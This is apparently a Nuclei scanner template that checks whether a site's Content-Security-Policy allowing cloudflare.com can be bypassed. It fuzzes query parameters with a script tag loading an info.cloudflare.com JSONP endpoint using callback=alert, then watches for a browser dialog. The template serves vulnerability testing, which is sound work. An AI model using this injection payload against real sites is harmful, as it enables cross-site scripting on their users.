id: cloudflare-info-csp-bypass

info:
  name: Content-Security-Policy Bypass - Cloudflare Info
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,cloudflare-info,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "cloudflare.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: cloudflare_info_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://info.cloudflare.com//index.php/form/getForm?munchkinId=194-VVC-221&form=1077&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "cloudflare_info_csp_xss == true"
# digest: 4a0a0047304502205c9c31f06b1d7e044c477b0cb1f0989ae594643b4e5b5e0abeaa8a08f044f45c022100997a80a787c464ba163f113b95dff86c2ddfc2de44a92a67261d926403e5accd:922c64590222798bb761d5b6d8e72950